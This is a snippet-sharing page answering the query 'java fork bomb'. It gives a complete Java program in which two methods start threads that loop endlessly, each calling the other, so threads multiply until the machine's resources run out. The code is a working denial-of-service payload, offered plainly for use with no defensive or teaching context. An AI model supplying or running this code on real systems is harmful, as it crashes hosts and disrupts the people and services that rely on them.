java fork bomb

Solutions on MaxInterview for java fork bomb by the best coders in the world

showing results for - "java fork bomb"
Fernando
19 Sep 2017
1public class Fork {
2    public static void fork2(){
3      Thread t2=new Thread() {
4        public void run() {
5          while (true) {
6            fork1();
7          }
8        }
9     };
10     t2.start();
11    }
12    public static void fork1() {
13      Thread t1=new Thread() {
14        public void run() {
15          while (true) {
16            fork2();
17          }
18        }
19     };
20     t1.start();
21    }
22  public static void main(String[] args) {fork1();}
23}
similar questions
queries leading to this page
java fork bomb